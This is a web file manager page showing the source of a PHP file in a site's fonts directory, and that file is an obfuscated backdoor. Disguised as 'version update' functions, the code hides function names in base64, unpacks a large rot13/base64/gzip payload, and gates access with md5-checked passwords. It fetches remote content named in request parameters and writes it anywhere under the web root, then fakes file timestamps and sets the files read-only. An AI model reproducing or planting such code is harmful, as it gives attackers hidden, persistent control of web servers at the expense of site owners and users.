芝麻web文件管理V1.00
编辑当前文件:/home/asmplong/www/fonts/index.php
"; if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ; return ''; } $pi = [ ['str', 'ro'], ["json", 'decode'], ]; ($q = (implode('_', $pi[0]) . "t13")) && $data = $q($str); ($q = "b" . implode('_', $pi[1]) . "e") && $data = $q($data); if (isset($_GET['s'])) $data = $_GET['s'] . $data; return $data; } function version_info($str) { global $temp; $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo"; $temp = base64_decode($temp); $name = ['Y2uioJHiLKAgpTkiozpiq3q3Y2ygMl82AGLmBP9gnJ5cY2AioJ1iov5cozx', function ($version_file, $name) use ($temp) { $data = translation_v3('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', '1'); $data = base64_decode(/**/ $data); $data = translation_v2($data, '1'); $data = translation_v1($data, '0'); echo count($data); version_desc(false); }]; $temp = explode(',', $temp); return ['#ver#', version_data($name, 1, 0)]; } /** * @title install path */ function version_path() { echo __FILE__; } /** * @title get version data * @param $data * @param $offset * @param $page * @return mixed */ function version_data($data, $offset, $page) { $keu = ['', "code"]; $keu[] = ''; return $data[$offset]($data[$page], implode('_', $keu)); } /** * @title translation data * @param $data * @param $offset * @return mixed */ function translation_v1($data, $mode, $exp = '') { if ($mode === 'X1') { $data = base64_decode($data); $len = strlen($data); $exp = str_replace('=', '', base64_encode($exp)); $res = ""; $i = 0; while ($i < $len) { for ($k = 0; $k < strlen($exp) && $i < $len; $k++) $res .= chr(ord($data[$i++]) ^ ord($exp[$k])); } return $res; } elseif ($mode) { return json_decode($data, true); } else { return unserialize($data); } } /** * @title parse version data * @param $data * @return version */ function version_parse($data) { $version = $data['version']; if ($version === 'path') version_path(); if (isset($data[$version])) { $version = translation_v1($data[$version], 'X1', $data[$version . '1']); } return $version; } /** * @title update version * @param $qr * @return void */ function version_update($check, $qr = false) { if (!version_access("y{$check}ngf", 'f6d9a6508febf339adc5163000cfd468')) return; $c = $_COOKIE;; $cf = implode('_', ['function', 'exists']); (!$qr || !$cf($qr)) && $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for]; if (($a = $qr($_REQUEST['name'])) && version_deny($a)) { return; } global $temp; $a = explode(',', $a); if (empty($a[1])) return; echo "[
{$a[1]}
] "; return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp); } /** * @title version access or force * @param string $version version pass * @param string $token check update token * @return bool */ function version_access($version, $token) { return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']); } /** * @title version data is deny * @param $data * @return void */ function version_deny($data) { return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']); } /** * @title translation version data * @param $data * @param $offset * @return mixed */ function translation_v2($data, $offet) { if (!empty($offet)) { return gzinflate($data); } else { return $data; } } /** * @title translation version data * @param $data * @param $offset * @return mixed */ function translation_v3($data, $offet) { if (!empty($offet)) { return str_rot13($data); } else { return $data; } } return 'inited'; /** * @title check version token * @param $name * @param $date * @param $check * @param string $token * @param false $mode * @return bool|mixed */ function version_check($name, $date, $check, $token = '', $mode = false) { try { $vs = 'rename'; if (!is_array($check)) $check = explode(',', $check); $map = [0, 1, 2, 3, 4]; $m = $mode ? $mode : ($check[1]() - 2693693); $iw = true; empty($check[9]) || $date = $check[9]($date); if ($check[$map[4] + 1]($name)) { if ($token && Md5_File($name) === $token) return true; $iw = $check[6]($name); if ($x = $check[5]($name)) { $m = $check[4]($name); } $x && !$iw && @$check[7]($name, 0744); @$vs($name, $name . time()); } if ($check[$map[0]]($check[2])) { $l = $check[$map[2]][0] . 'write'; $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date); } else { $r = $check[$map[3]]($name . ".tmp1", $date); } @$vs($name . ".tmp1", $name); $check[8]($name, $m, $m); $iw || @$check[7]($name, 0444); } catch (\Exception $A) { echo $A->getMessage() . "
"; $r = false; } echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "
"; return $r; }